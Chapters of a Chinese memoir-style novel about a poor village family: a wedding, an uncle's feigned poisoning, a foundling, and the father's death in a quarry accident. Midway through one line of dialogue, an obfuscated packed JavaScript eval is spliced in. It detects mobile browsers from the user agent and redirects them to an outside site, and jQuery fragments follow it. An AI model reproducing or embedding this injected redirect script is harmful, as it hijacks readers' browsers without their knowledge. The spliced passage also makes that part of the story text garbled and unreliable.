“好!” 喊完好,他们点起一挂小鞭,在二爷爷门口儿“噼里啪啦”地放将了起来。 听到门外喊好的放的小鞭,二爷爷家里走出了人,递馒头,递烟,递钱。 二奶奶的亲兄弟,大泉庄的那个“假女人”也抱着闺女来了。 “假女人”大概四十岁的年纪,胖胖的,脸堂跟我二奶奶很像。“假女人”无钱婚娶,闺女是他抱来的。他一个人,跟着老爹一起过。“假女人”一个人养活孩子真不容易,幸而他手艺很好。“假女人”会缝针线,还会穿秫秸盖亭。穿盖亭可不简单,挑选高粱秸顶头上的细杆杆,黄黄、红红的,细长细长的,用大洋针穿在一起,当做盖亭,可以放饺子,可以晒咸菜。 “假女人”怀里抱着他还不会走路的小女儿,那小女孩儿像是一团软软白白的肉肉,乖乖傻傻地趴在她爹的肩膀上。“假女人”站在二奶奶门口,跟二奶奶争论着什么。好像是因为二奶奶不收他的礼钱。 “假女人”很激动,嘴也很能说。 “姐,你是嫌钱少吗?要不让俺闺女给你磕个头!”“假女人”做出要把怀里的小女儿放下来的样子。二奶奶不怎么说话。“假女人”就抱着孩子在她家大门口儿跟她争执着。人场儿乱哄哄地,“假女人”怀里的孩子呆呆地,小身躯靠在爸爸怀里,小脑袋歪在爸爸肩上。比起其他父母双全,家庭富裕的孩子,她肯定是吃不好,喝不好吧,然而她还是长得白白胖胖的。 大婶子之前来走老婆婆家,我们也见过。今天,大婶子一张铁青的小脸儿,照旧是瘦瘦、长长。她穿着大红缎子的棉袄。农村人的说法,新媳妇穿地越多,以后在婆家过得越厚实。所以不管什么天气,新媳妇进门都是大棉袄。 新媳妇到了,最激动人心的时刻也到了。庄里的几个小青年都来闹新媳妇。几个壮劳力,笑着闹着,用一根捆嫁妆的粉红色的麻绳,要把大婶子和大叔绑在一起。这是结婚必经的程序。大叔笑着要挣脱,大婶子可动了真格儿的。她开始用手抓,用嘴咬。 “她把几个老大伯、小叔子的手指头都给抓破了,流血了。”二奶奶站在新房屋里,跟大叔说。大叔戴着新郎官儿的蓝帽子,帽子上别着银针和红线。他听了二奶奶的话儿,笑着说:“我的手也被她抓淌血了。” 大婶子的新新的大红棉袄被撕破了,露出了雪白的棉花。大婶子很伤心,蹲在大门里的排水沟儿那里,用胳膊捂着脸哭,要回娘家。二奶奶她们赶紧过去劝她。 到了晚上,天已经很黑了。我爸爸披着一个小袄儿,慌慌张张地跑到新房堂屋里,跺着脚说:“快点!福伦喝药了!福伦喝药了!”新房屋里很多人,几个叔赶紧推上胶车子,赶到我家,把我三叔捆在胶车子上,直奔医院而去。 原来,当天晚上吃饭,新媳妇敬酒的时候,我三叔充能,跟他那一桌子的小青年打赌说,他能让新媳妇给他这个老大伯敬酒。在座儿的不看好他。他就跑过去,让新媳妇敬他的酒。新媳妇不理他,他觉得脸上无光,很是懊恼,就跑出去喝了药。 三叔跌跌撞撞跑到北荆堂,来到我家大门口儿,朝着我爸爸喊一声儿:“哥,我喝药了!”然后就倒下,不省人事。我爸爸吓得赶紧光着脚儿跑到大门口儿,抱起我三叔,只见他口吐白沫,嘴里一股子药味儿。我爸爸慌了神儿,光着脚儿,跑到了南荆堂,让人家一起帮着推我三叔去医院。当时我家好像穷的没有胶车子,他要去南荆堂呼唤一辆胶车子。从北荆堂到南荆堂,那段儿路说短不短,说长不长。我爸爸光着脚丫子,被大街上的玻璃渣子扎破了脚,脚下鲜血直淌。 后来又听人说,当时黑灯瞎火的,大家推着我三叔,走南家前的路去医院。到了杜村河沿,我三叔就开始瞎喊了。我三叔实际上没喝药,他是气迷心窍,着了鬼了。 听老娄奶奶的孙子大龙说,新婚当晚,大叔跪着哀求大婶子,要跟大婶子睡觉,大婶子不同意。两个人磨到半夜,大叔答应把家里所有的存折、银钱都交给大婶子,大婶子才勉强同意。这是大龙说的。大龙那时还是个不到十岁的小孩子,他是怎么知道的。有个笑话说的是,大侄子结婚,当叔叔的才几岁,跑去闹洞房,天晚了,小叔叔困了,就在人家新房屋里睡着了,而且是结结实实地睡了一夜。那个通情达理的侄媳妇看他是小孩子,也没当回事。大龙难道是睡在大叔家了吗,这还不至于,他父母肯定是会把他找回去。 “求求恁!跟俺睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137781|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉吧!俺求求恁啦!”大龙流着鼻涕,笑着,学着大叔那个可怜样儿,我又想笑,又觉得他的话是真的。大婶子真是御夫有方啊。 过了不久,大婶子就生下了孩子。这桩婚事算是牢靠了。二奶奶一家,就把当年二爷爷悬赏娶媳妇的事儿,告诉了大婶子。大婶子很生气,跑到那个说媒的家里,催讨她公公给人家的六百块钱的赏银。 “恁说媒要了俺家六百块钱,恁不是卖俺的嘛,恁快点把钱还给俺!”媒人没有办法,只好把那六百块现大洋还给了大婶子。二爷爷一家对大婶子讨回本金的事情都很得意,觉得这是本事。我妈妈说,这是不对的,当初说好了给人家的,就是给人家的。 十月,该刨山芋了,我爸爸回家帮忙干活儿。我爸爸妈妈干活儿很少带我们,这回我们也难得地跟着去了。我爸爸挥动着镢头弓身儿刨着山芋,我提着粪箕子跟着拾山芋。我妈妈说:“离恁爸爸远点儿,别让恁爸爸的镢头碰着你哈。”那块地里的山芋还可以,我爸爸一镢头下去,就提出来两个肥敦敦的双胞胎山芋。 “你看,今年的山芋多好!”我爸爸说。 我家地头儿上,有几棵细细长长的小柿子树,结着黑黑的小小的柿子,因为太小了,也没有人去摘它。我妈妈说:“那是元枣子,人家都不认得,不知道这个能吃。我去摘去。”她就去地头儿上去摘那些元枣子,边摘边放在嘴里吃。 我走过去抬起头看着我妈妈摘。那时候早就过了摘柿子的季节,西岭上早就没有红彤彤的柿子了。只有这种小柿子,还高高地挂在树上,它们经了霜,自然地风干,看上去黑黑的,像是一粒粒的羊屎蛋子。我摘不到那些柿子,那些小树细细长长,也不好爬。只能抬头看着。 我妈妈给我几个说:“你吃吧?” 我接过来放在嘴里,是柿饼的味道,甜甜的,很好吃。 “好吃吧?就是籽儿多,肉太少了。”我妈妈边吐籽儿边说。 我爸爸说:“这片地是好几个庄上的,东边的娄庄上的人也来这里种地。福伦小的时候,在西岭上玩儿,他老师扛着镢头来刨山芋了。福伦就趴在山芋沟里藏着,朝着他老师喊:‘安小凤——’‘安小凤——’他老师回头一看,没有人哦!再仔细一看,福伦撅着腚趴在山芋沟里呢。他老师把鞋脱下来,拿着鞋,照着福伦的腚上‘啪啪’就是几鞋底,打地福伦一路冒跑跑回家了。” 我妈妈说:“安小凤老师不是现在还在张庄吗?她也教过福伦啊?” 我爸爸说:“嗯。她教书年岁多了。” 我妈妈鄙夷地说:“从小到大,三岁看老。看来福伦小时候就不通人性,老师的名儿是他叫的吗?那是恁三兄弟,天天要杀你剐你。你为了他光着脚从北荆堂,跑到南荆堂。脚丫子都叫琉璃渣子扎破了。我看人家也不心疼。” 我爸爸又低着头只顾刨他的山芋,不再吭声儿了。 7. 我爸爸捡了一个小孩儿回来! 冬天的一个晚上,天上黑影儿了。我爸爸从西墙头外头回来,怀里抱着一个纸箱子。他乐呵呵地对我妈妈说:“快来快来!我拾了一个小孩儿回来!” 我妈妈从屋里开心地跑出来,跟我爸爸说:“真好!真好!咱家又多了一个小孩儿!” 我们也跟着凑过去看。我爸爸把那个装小孩儿的纸箱子,放在我家堂屋门前的石台子上。我凑过去一看,里头是一个光屁股的小孩儿,才出生不久,躺在一堆棉衣里。 “是个小男孩儿!”我妈妈高兴地说,“恁又多了一个小弟弟了!” 我心里想,咱家都恁么穷了,还要再多一个小弟弟,那不是更穷了。咱家还拿什么养我的亲弟弟、亲妹妹啊!我不是很欢迎这个小孩儿。但是我倒是希望有个更富裕的人家来养活他。 左邻右舍的大爷、大娘听说我爸爸捡了一个小孩儿,都来我家了。他们围着石台子上的小纸箱子看着,议论着。 “这是谁家的小孩儿啊?”东院题美老爷爷的大儿媳妇、雷雷的娘说。 “怎么舍得扔了啊?”家东阔儿他娘说。 “家军,你搁哪儿拾的?”题美老奶奶说。 “我搁石塱里拾的!”我爸爸说。 “当时四下里没有人啊?”题美老奶奶说。 “没看到人儿!”我爸爸说。 “人家说,扔小孩儿的都是站在旁边看着的。”我妈妈说。 “我没看到有人啊!”我爸爸说。 “一个小男孩儿,怎么舍得扔的?别是有什么毛病吧?”阔儿他娘说。 “不知道?哪儿有毛病啊?我没注意哦。”我爸爸说。 “来!咱来看看来!”雷雷他娘说。 “哎哟,小家雀儿上有毛病。是个大气蛋。这个以后得动手术。不知道能不能活。怪不得人家扔了呢。真是有毛病啊!”阔儿他娘说。 大人们说着说着,就慢慢散去了。过了一会儿,我爸爸又把那个纸箱子抱走了。我不知道他是去了哪里。他是抱给别人家养了呢?还是又抱出去扔了呢? 上课的时候,牛老师眉飞色舞地跟我们说:“俺小时候,没地方玩儿,就跟一群小孩儿去白山上,去砸小死孩儿玩儿!白山上扔了一堆小死孩儿!俺几个去了,抱起一块大石头,站到一摞石头上,对着那小死孩儿就砸!一砸,‘哇’一声!俺还当是那小死孩儿活过来了!吓得要死!其实不是的。是那些小死孩儿涨肚儿了。俺拿大石头一砸,那小死孩儿的肚子被砸破了,就‘哇’一声,跟小孩儿叫的似的。” 我看着牛老师手舞足蹈的样子,我脑子里想着,我爸爸捡的那个小孩儿被弄到哪儿去了呢?他是死了还是活着呢?他如果死了,会不会还有魂儿呢? 我问我的同学说:“恁说,这世上有鬼吗?” 有人说:“有!一到晚上,经常有人看到坟地里有鬼火!” 又有人说:“那不是鬼火!那是磷!” “磷是什么?” “磷就是火柴头儿上,能擦出火来的哪一点儿!” “你说的那不是磷,就是鬼火儿!鬼火儿会叫,叫地可难听了!嗯嗯的,跟电视上的一样难听!” “你怎么知道那是鬼叫?” “俺爸爸说的。俺爸爸说,他扔过死孩子。天黑了,他把死孩子扔在河沿的芦苇荡里,他点了颗烟在芦苇荡边吸烟。那芦苇荡里就‘嗯嗯’地响了起来。就是那小死孩儿的声音。” 8.农历二月十七 我爸爸不知从哪里弄来了一堆半新不旧的鞋,倒在我家堂屋门里。那是一堆春秋天的単鞋,敞口儿的。有的是绿色的条子绒的鞋面儿,黄色的鞋底,看着很洋气。 我妈妈说:“你搁哪儿弄的这些鞋啊?看着怪洋气,就是不结实,不适合老农民穿。要是春天上穿着它去剜地,没几天就要脱胶了。” 我爸爸说:“不行分给众人们穿去。拿几双给文利大哥家送去,再拿几双给俺爹俺娘送去。剩下的,咱自己留着穿。” 我说:“我去给送。把那双绿色的鞋给俺奶奶。” 我妈妈说:“行!你给恁奶奶送去吧。” 我家屋里头支了炭火盆儿,我弟弟调皮,拿着一只鞋往炭火盆儿上扔过去,那鞋立刻就被烧了一个黑黑的洞。 我妈妈赶紧把那双鞋给挑出来。“你怎么把恁爸爸的鞋给烧了的?鸿雁?鞋不能烧,一股子气皮味儿。光熏咱。” 我爸爸不知道从哪里弄来一个猪尿泡,用水冲了,装上大米,扎上口子。炭火盆上架起一顶小锅,把那个扎了口子的猪尿泡放到锅里煮。煮出来是一个鼓鼓的、圆圆的大肉球。爸爸用小刀一道道划开,分给我们小孩儿吃。煮熟了的猪尿泡不知道怎的,根本就咬不动。也没有味道。我们咬了几口就不吃了。只有我爸爸,还笑嘻嘻地拿着那割成一条条的皮子吃着。 我妈妈从西边天井里走进来说:“小孩儿都不吃啊?来!你割一条儿给我尝尝,我看看好吃吧。” 我爸爸割了一条给我妈妈,我妈妈放进嘴里尝了尝。 “嗯!一点儿不好吃!跟鞋掌子似的!”我妈妈说。 过年的时候,我爸爸喜滋滋地提着二斤猪肉回家了。他想包个肉饺子给我们吃。结果,我妈妈愣是不同意,非让我爸爸给退回去。这样的事儿在我家不是第一次,所以我一点都不觉得稀奇。 我记得当时我爸爸闷闷不乐地在屋里忙着家务,我妈妈坐在一边做着针线絮絮叨叨地说他。 “咱家没钱,你不是不知道。你买什么猪肉的?”我妈妈说。 “杀猪匠子非让我提块儿,家来给几个小孩儿包肉饺子吃。”我爸爸说。 “杀猪匠子让你买你就买啊?这块猪肉不少钱吧?”我妈妈说。 “没给钱!赊着的!”我爸爸说。 “赊着的!人家能不问咱要钱吧?人家早晚得问咱要钱!”我妈妈说。 “杀猪匠子是干什么的?人家专门儿等过年的时候杀猪,好卖了赚巧儿钱儿的。‘家军啊,提块肉回家给小孩儿吃去!钱不急!什么时候有钱什么时候给!’人家那是嘴上客气的!人家能不要钱吧?人家现在不齐钱,等过了年,人家就要挨家挨户地齐钱喽。到时候你有钱给他吧?”我妈妈说。 “过完年我就去石料厂。到时候不就有钱了吗?”我爸爸说。 “过完年,大省上学要交学费,春天上,小孩爱感冒,吃片安乃近都得要钱。咱家三个孩子,就靠你在石料厂挣点儿钱。哪够啊?”我妈妈说。我爸爸不吭声儿了。 “你光知道买,你就不考虑这些!我也知道吃,我也知道喝,可是吃完喝完,钱从哪里来?咱还欠着几千块钱的超生费。”我妈妈清了清嗓子说,“我吞咽子怎么跟有痰的似的?我不是冻着了吧?” “我想着几个小孩儿一年到头儿的没吃上肉。我噶点肉家来给几个小孩儿包顿肉饺子吃。”我爸爸说。 “小孩儿过年不吃肉也没什么,等他们上好了学,长大了,自己挣钱自己吃。这点苦搁哪来啊?小时候吃苦不算苦,长大了吃苦才算苦。你把那块肉给退回去吧。你就说我说的,咱家太穷了,吃不起。怕回来没有钱给人家。怕耽误人家使钱。”我妈妈说。 我爸爸不吭声儿。 我妈妈的脾气我知道,她逼着我爸爸,让他把猪肉退回去,我爸爸就得退回去。我当然也想吃顿肉,但是这顿猪肉,我妈妈是肯定不会让我们吃成。我爸爸再为难,再要面子,也肯定会听我妈妈的,把这二斤猪肉退给人家。我也知道我妈妈说的合情合理,但是没人爱听,反而遭人烦。 “一分钱难倒英雄汉。你不要觉得退回去没有面子。面子值几个钱?丢面子不会饿死,没钱能把人饿死,穷能把人穷死。恁爹恁娘要是知道我非让你退回去,又得说我奋事。咱光跟他们样,咱都吃喽喝喽,咱就不顾小孩喽。等着小孩儿该花钱的时候,咱拿不出来,还是没有面子哎。”我妈妈说。 这些道理,我觉得我爸爸知道,我也知道,我妈妈其实是体贴爸爸,同时也是为了我们好。这也是我爸爸不吭声的原因吧。我妈妈还不是因为家里穷,为了省钱,为了养活三个孩子吗?他有什么好说的。不就是让他退回去吗?退回去就退回去呗。 一分钱难倒英雄汉。这个道理,他能不明白吗?当时和今日,虽然猪肉没有吃成,但是我一点都不怨恨我妈妈,并且,我觉得我妈妈说地有道理,甚至做地对。 “你今天就给人家退回去吧,面子上犯点儿难。可是咱细水长流。”我妈妈说。我觉得我妈妈说的很对,我觉得我妈妈说的都是对的。那个年月,那个时候,我们三个嗷嗷待哺,家里穷得揭不开锅,连顿饱饭、好饭都吃不起了,还吃什么猪肉啊?为人父母,养儿育女确实要有长远的打算。手里一分钱恨不得掰成八瓣儿花的时候,还谈什么过年,还想着吃什么猪肉啊。 我明白其中的道理,但是我的鼻子和肚子,还是对我家没有荤腥的环境不太喜欢,我又想去爷爷家了。我就去我爷爷家转悠了一圈儿。 等我从爷爷家回来的时候,刚迈进大门儿,就看到我家大锅里热气腾腾的。屋里的饭桌子上,放着我爸爸馏好了的馒头,那是我爸爸新蒸的,黄黄的,掺和了玉米面儿。爸爸把热气腾腾的红萝卜菜盛进来,给我拿了一个黄馒头。让我坐下来吃饭。我拿起筷子,看着眼前碗里的红萝卜条子,还幻想着锅里有猪肉呢。 “家军,你刚才把那块猪肉退给杀猪匠子的时候,你跟他怎么说的?”我妈妈问我爸爸。 “我说,大省妈嫌俺家穷,吃不起。她非让我给退回来。我要是不退回来,她跟我不拉倒。”我爸爸说。 “哎!你推到我身上。我一个老婆头子,我无所谓。”我妈妈说。 新年过后,我爸爸想在我们家天井东边,盖几间东屋。盖屋要用大块的石头。他自己搬石头,自己挖地基,自己牵着绳子丈量,渐渐地盖起了一米高的屋框子。一些没用完的大石头,还在我家大门外,散落在桑树底下。 “人家都开始盖瓦屋了。咱家盖不起。咱家先盖个东屋,不盖也不行。慢慢地,小孩儿都长大了。光咱那三间草屋,她姊妹几个住不下了。”我妈妈说。 “我就这样,一个人儿慢慢地带着盖。等上梁的时候再找怹们来帮忙上梁。”我爸爸说。 “对。咱自己盖。咱盖高楼!你看恁爸爸盖的屋好吧!”我妈妈跟我们说。 “好!”我说。 文利大爷推开大门儿进来了。 他一腿站在大门里,一腿站在大门外,对我爸爸说:“家军啊,俺家死了两个兔子,我给扔到石塱里了。我头回没想起来,你去拿来剥了给小孩吃吧。这个天,没事儿,还是新鲜的。” “行!大哥!”我爸爸说,“你还家来坐坐吧?”我爸爸问他。 “我不家去了。我家里还有一摊子事儿。”文利大爷说。 “你不家来坐坐了?大哥?家军也正忙着的,俺一家子忙着盖屋的!”我妈妈笑着说。 “好!盖屋给鸿雁娶媳妇!”文利大爷说。 文利大爷走了。我爸爸去石塱里把兔子提了回来。初春的节气,天气还有些凉。兔子还是新鲜的。我爸爸把兔子绑上腿儿,吊在石榴树下。我们围着爸爸,看爸爸剥兔子。至于后来怎么烧的兔肉,怎么吃的,我竟然一点都不记得了。我甚至怀疑我吃过没有。在我家,关于吃肉,关于吃顿好吃的的印象,我几乎是从来没有。 我爸爸即使烧了给我们吃,那白水煮的兔肉也不会太好吃吧,我家又没有酱油。 我妈妈跟我爸爸说:“咱家大门外那几块大石头,你去搬进来吧。别回你不在家,让人家给偷走了。你不搬,我又搬不动。” “不要搬。放那是的。”我爸爸说。 “你还是搬进来吧。都是你一个人疲苦卖劳地起来的。再说了,你现在盖这个屋框子,不是还得使石头嘛。”我妈妈说。 我爸爸闷闷不乐地去搬石头了。那些石头很重,一块有几十斤,我爸爸不知道是累的还是气的,他皱着眉头往天井里驮石头,闷闷地,不说话。他驮了几块石头,就不再去驮了。 “不搬了,什么时候使什么时候再去搬!”我爸爸瞌醒着脸说。 我感觉家里有些阴沉了。 “不搬就不搬!”我妈妈也不高兴了,“我让他搬个石头,他还生气了。” 我妈妈的脾气急,她不爱生闷气,有话就会说出来。 “咱大门外头的那棵大杨树被风刮倒了。你不弄进来?”我妈妈跟我爸爸说。 我爸爸又去托那棵大杨树。那棵大杨树是新倒的,枝枝叶叶都还跟新的似的。他把那棵大杨树托到大门槛儿的时候,因为枝丫太多,那棵大杨树一半儿在大门里头,一半在大门外头。进不来了。我妈妈赶紧去帮忙拽,我也赶紧去帮忙。 “恁都不要管!我自己拽!”我爸爸瓮声瓮气地说。 我和我妈妈都退到一边。我爸爸一个人吃力地拽着那棵大杨树,把它拉进了家,朝天井东边拉过去。 “临死不留想头儿了。他这是!”我妈妈生气地说。 本来是新春,我爸爸又快要去上工了。可是他们两个都不高兴。都板着脸。 夜里,我爸爸在西间的小床上睡觉的时候,嘴里“扑扑”地吹气。我们在东间里听地清清楚楚。 我妈妈说:“老吹土,少吹财。不老不少吹着玩儿。恁爸爸这是吹着玩儿呢。” 我问我妈妈:“‘老吹土,少吹財’是什么意思?” 我妈妈说:“老年人睡觉,吹气的话,就是快要死了。年轻人睡觉,吹气的话,是要发财了。恁爸爸这个年纪,睡觉吹气,说明咱家要发财了。恁爸爸要一步登天了!” 我想着我妈妈的话,我莫名其妙地,就想跟她来个对子。 我说:“俺爸爸一步入地了!” 我妈妈气愤地说:“你入地了!你怎么咒恁爸爸的?一咒十年旺!神鬼不敢傍!恁爸爸一步登天了!” 爸爸开春就去石料厂干活去了。这一去,我就再也没有见到过我爸爸。 我还是跟我本庄上的同学们一起去上学。有一天,刚上了张庄大沟头的坡儿。我跟几个小丫头嘻嘻哈哈地走着,我前头的小孩儿倒着走,我边看着她笑,边往前走。不知道怎的,我一头跌倒在了地上,摔了下去,把那几个小孩儿逗得哈哈大笑。 “大省咔倒啦!大省咔倒了!” 我的鼻梁很疼,可是为了面子,我不敢说有事,我也跟着笑。我擤鼻子的时候。鼻子里有些轻微的出血。 第二天,我的眼睛肿了。我妈妈问我:“你的眼是怎么回事儿?怎么肿了的?” 我说:“我上学的时候在大沟头咔倒了摔的。”小孩子摔倒了很正常,我妈妈也就不再吭声儿了。我知道我妈妈也不会带我去医院检查,弄不好,她还要再怪我,我也就不再跟她说什么。那以后一连好几天,我擤鼻子的时候,我的鼻子都会渗出血丝来。我自己摸了摸我的鼻子,鼻梁骨那里有些凹进去了。可能是骨折了。 那时候,自己摔倒了自己爬起来,自己摔伤了自己忍过来,没有人管没有人问。没有人带着我去开药、挂水。穷人的孩子像根草,穷人像根草。 这以后的一天夜里,我做了一个梦,梦见我的一整排的上牙排山倒海似的齐刷刷掉了。我不知道是什么时候听人说过,梦见牙齿掉落,预兆着有亲人会离世,尤其是父母。我想着夜里的梦,自己心里闪过了这个念头。 那是农历二月十七,我已经上小学二年级了,脚上还穿着过年的时候我爸爸给我买的红帮绿顶的棉鞋。那天下午放学的时候,我跟几个小同学打闹地特别开心,一路上有说有笑地走过家东的小路,回到奶奶家。一到奶奶家,就看到奶奶在我三叔住的西屋里间里嚎啕大哭。有一个奶奶正在安慰她。 奶奶跟我说:“省儿,恁爸爸死了!” “俺妈妈呢?”我说。 “厂料里来人,把恁妈妈接到石料厂了。” 我奶奶又去大哭她的。她扑打着哭着跟那个老嫲嫲:“头上都是血窟窿啊!” 我一下子就懵了,感觉天要塌下来了,不敢相信这是真的。我在发懵的过程中并没有太难过。面对奶奶家空空的墙壁,看到墙壁上观音菩萨的石膏象,我跪下来,祈求观音菩萨保佑我爸爸不死。我甚至觉得这事儿不会是真的。我在等我妈妈回来,希望妈妈回来以后可以告诉我,我爸爸没有死。 当天晚上,我妈妈回来了,确定了我爸爸死了的事实。 “妈,俺爸爸是怎么死的?”我问我妈妈。 “恁爸爸的工友说的,恁爸爸是在山上起石头的时候摔下来的。晚上五六点钟,人家都收工去吃饭了,就他不肯收工,非要在那里撬石头。他撬石头使的是一杆撬,石头滚下去,带着他一块儿掉下去了。” “俺爸爸的工友说的是真的吧?俺爸爸不是给人害死的吧?说不定就是他害的。”我说。 “谁知道来。”我妈妈说,“眼见为实,耳听为虚。谁去帮咱打听哎?人家都是向活的,不向死的。恁爸爸是怎么死的,只有他自己知道,他死了,又不能对咱说了。” 我们和妈妈第二天一早就要去枣庄,一辆为石料厂跑路的拖拉机来接我们。开车的是曾经在我的小学校当体育老师的一个中年男人,他穿着一件蓝色的海魂衫一样的蓝色带白杠儿的衣裳。 那天早上,我奶奶招待众人吃了有几根面条子的大米汤。 她温柔贤惠地跟人说:“我想着出门儿要吃面条子的。面条子扯扯拉拉的。”奶奶又在跟众人炫耀她的手艺和贤德。 “来!把这个带上!”我妈妈走到我跟前说。她把一截儿灰黑的桃树枝子塞到我的挎包了,“我上家东给你找的。桃条子辟邪。” 我妈妈边往我挎包里塞桃条子,边悄悄跟我说:“恁奶奶不是真地心疼恁爸爸。儿死了,哪个当娘的还有心情擀面条子的。” 我们坐着一辆拖拉机去爸爸的石料厂。到了石料厂,换了一辆小汽车。那是我人生第一回坐小汽车,里面又闷又热,我晕车。我们见到了我爸爸生前的厂长。我妈妈让我们叫他爷爷。老大爷很和蔼。我妈妈跟他谈话,商量我爸爸因工去世的善后事宜。我们听不懂,就在一边玩。 人家给我们三个买了苹果、饼干,我们又啃青苹果,又吃饼干,根本不知道悲伤。那是袋装的夹心饼干,外面是焦黄色的干干的两块面饼,中间夹着一点白白的糖。我们以前没有吃过。饼干有很多,我们放开吃着。 “小弟,你觉得这种饼干好吃吧?”我问我弟弟。 “好吃!”我弟弟说。 “我觉得一点儿都不好吃,没有咱爸爸买的那种黄纸包着的饼干好吃。” 我弟弟那时候五六岁,在人家办公室的椅子上爬上爬下。成了孤儿的穷山村的小男孩,来到了大地方,看到妈妈跟人家大厂长谈话,还觉得自家妈妈很厉害,自己脸上也有荣光。 我妹妹那时候太小,两三岁,被我奶奶抱着。青苹果看起来很大,但是吃起来很涩,咬不动。我奶奶抱着我妹妹,也拿着一个苹果啃。她可能年纪大了,咬起来更加费劲,等厂里有人来了,她就把她啃过的带着许多牙印子的苹果给了我。 同去的还有东院儿的二爷爷。中午了,人家厂里安排我们去吃饭。我们被带着下了一个坡,坡下头,有一家小饭馆儿。面对一桌子好饭好菜,我奶奶热情地招待我二爷爷吃菜喝酒。我妈妈吃不下去,但是她还是强打着精神劝我二爷爷吃饭吃菜。 “二叔恁吃!二叔!”我妈妈说。 “行!恁嫂子!”二爷爷看着一桌子好饭好菜微笑着,露出几颗闪闪的假牙。 饭后,我们稀里糊涂地跟着大人,坐车到医院太平间,去接我爸爸。那是一个小小的房间,里头是一个窄窄的水泥砌的灰色的冰冷的台子。我爸爸孤零零、直挺挺地躺在上面。里面还有一个看太平间的老头儿。 爸爸伤地很严重,浑身是伤,头上都漏了一个洞。想象中我爸爸应该是鲜血淋漓。可是,等我在太平间看到了爸爸,我爸爸那天的仪容居然很干净,他闭着眼睛,像是安详地睡着了。人家早就把他的衣裳都给穿得好好的了。我爸爸穿的是平时我们买不起、没穿过的很上档次的衣裳。我妈妈和我奶奶最后一次打理我爸爸的仪容。我妈妈把一个手帕放在他的手里,再试着往外拿,就拿不出来了,他的手是僵硬的。 我那时候没有想过,我妈妈把手帕放在我爸爸手里干什么?是代表着爱吗?那一定是了。这一生,他是她最爱的夫君啊。 我知道我爸爸死了,我光顾着呆呆地看我爸爸,一点也不知道哭。我弟弟更是不知道是怎么回事。也许,对他来说,就是一次有趣地出行吧。我妈妈在我爸爸躺着的石灰台子下头点起了火纸。我跟弟弟还是呆呆地愣在那里。 我妈妈跟我们说:“这是恁爸爸,恁哭啊!恁姊妹俩怎么不知道哭的?”我跟弟弟才赶忙跪在地上大哭起来。 不一会儿,我爸爸被抬上一辆汽车,车要开走了。那是最该哭的时候,我们却完成了任务似的,呆呆地看着,根本不知道哭。我当时根本不知道我爸爸被抬上车,是去哪里,去干什么,是去医院吗?还是去火化?我那时根本不知道这是最后一次见爸爸了。我更没想过,从此以后,我都不会拥有一个这样值得我依赖和信赖的爸爸了。 总之,那次去枣庄见爸爸最后一面,我们三个全程都是呆呆的,跟着大人走,一会儿到了厂长办公室,一会儿到了饭店吃午饭,一会儿又坐客车去太平间,一会儿又看着客车开走了,我们就这样跟着,全程没有一点主动的悲伤。爸爸的骨灰什么时候去的火化场,什么时候火化完捧回来的,我一点也不知道。 我爸爸的赔偿款,厂里给了四千,在当时,那是一笔巨款。我三叔是跟着去的,他想拿了那笔钱来回家盖屋娶媳妇。厂长老大爷好像知道了我三叔的心事,没把钱给我三叔。他把那笔钱给了当时一同去的大队干部,也就是文利大爷。让他暂时代管,以后再交还给我妈妈。 我们没有大哭,可能因为妈妈没有大哭。我妈妈那时候三十六岁,她跟我爸爸同岁,两个人都属狗。她带着三个孩子,面对丈夫的死,她眼前要面临多少人心险恶,她以后又要面临多少艰难险阻。她为之舍生忘死,为之独自一个人生孩子的丈夫死去了,她不能哭地天昏地暗不省人事,她身边还有三个孩子,她身边还有狼豺虎豹,身后还有遥遥无期的困苦。我九岁,我弟弟六岁,我妹妹三岁,她只能咬紧牙关,她必须坚强。她还要带着我们三个幼小的孩子继续往下活。 我妈妈没有大哭,我也没有大哭,我奶奶也没有大哭。 我爸爸死去的时候,没有人为他大哭。 8. 三叔和奶奶逃离荆堂 1.外丧不进家 我妈妈抱着我爸爸的骨灰盒回家的那天晚上,我在我奶奶家里,我大姑烧着锅,并没有多么悲伤。 我听着西岭上拖拉机的声音,跟我大姑说:“俺妈妈跟俺三叔他们到了西岭了。” 我大姑说:“是吗?”她阴着脸,低着头,不说话。她可能是害怕接触那些死人的东西。她是康骨人,她爱招鬼。我并没有看到她哭,更没有见到她脸上的泪水。 我妈妈抱着我爸爸的骨灰盒来到了我家大门外。我也跟着到了我家墙西。 夜里,黑黑地看不见人。只听见我三叔跟我奶奶在跟我妈妈吵架。 我三叔没有拿到那笔赔偿款,他心里本来就窝着火儿。 “俺哥为了给恁娘几个挣钱死的,凭什么不让俺哥进家的?” 我三叔说。 “外丧不能进家!恁哥是出了意外,从山上掉下来摔死的。他年轻,煞气又重!进家主俺大人小孩不好!” 我妈妈说。 “你一个娘们儿头子你懂什么?你听谁说的?你敢不让俺哥进家,我就揍你!” 我妈妈说:“我听《杨家将》里说的!杨六郎死的武,杨家就在外头搭的灵棚,没让进家。外丧不进家,进家主他家大人孩子不好。恁哥才三十六岁,是少亡。他从山上摔下来死的,死地太武了。” 我三叔说:“你那是放屁的!谁家死了人不是在堂屋落的棺材,在家里搭的灵棚?” 我妈妈说:“人家是搁在屋里不假,人家那都是好好地死的。恁哥不一样,恁哥是意外身亡。我一个妇道人家带着三个小孩儿,屋里搁着白茬棺材,我害怕。三兄弟,将心比心。你要是真心疼恁哥,非要在家里搭灵棚,我也同意。三兄弟啊,家军是恁哥,也是恁娘亲生的。把他的棺材搁在南荆堂恁屋里行吧?你要是说行的话,我双手赞成!” 我三叔说:“你这不是放恁妈的屁的嘛!我还没结婚呢,就把灵棚搭在俺家来啊!我不怕有什么忌讳啊?你是有意使坏的啊?我揍你个养汉头女人,我把你揍死!恁娘家没有一个敢到荆堂来呲尿的!” 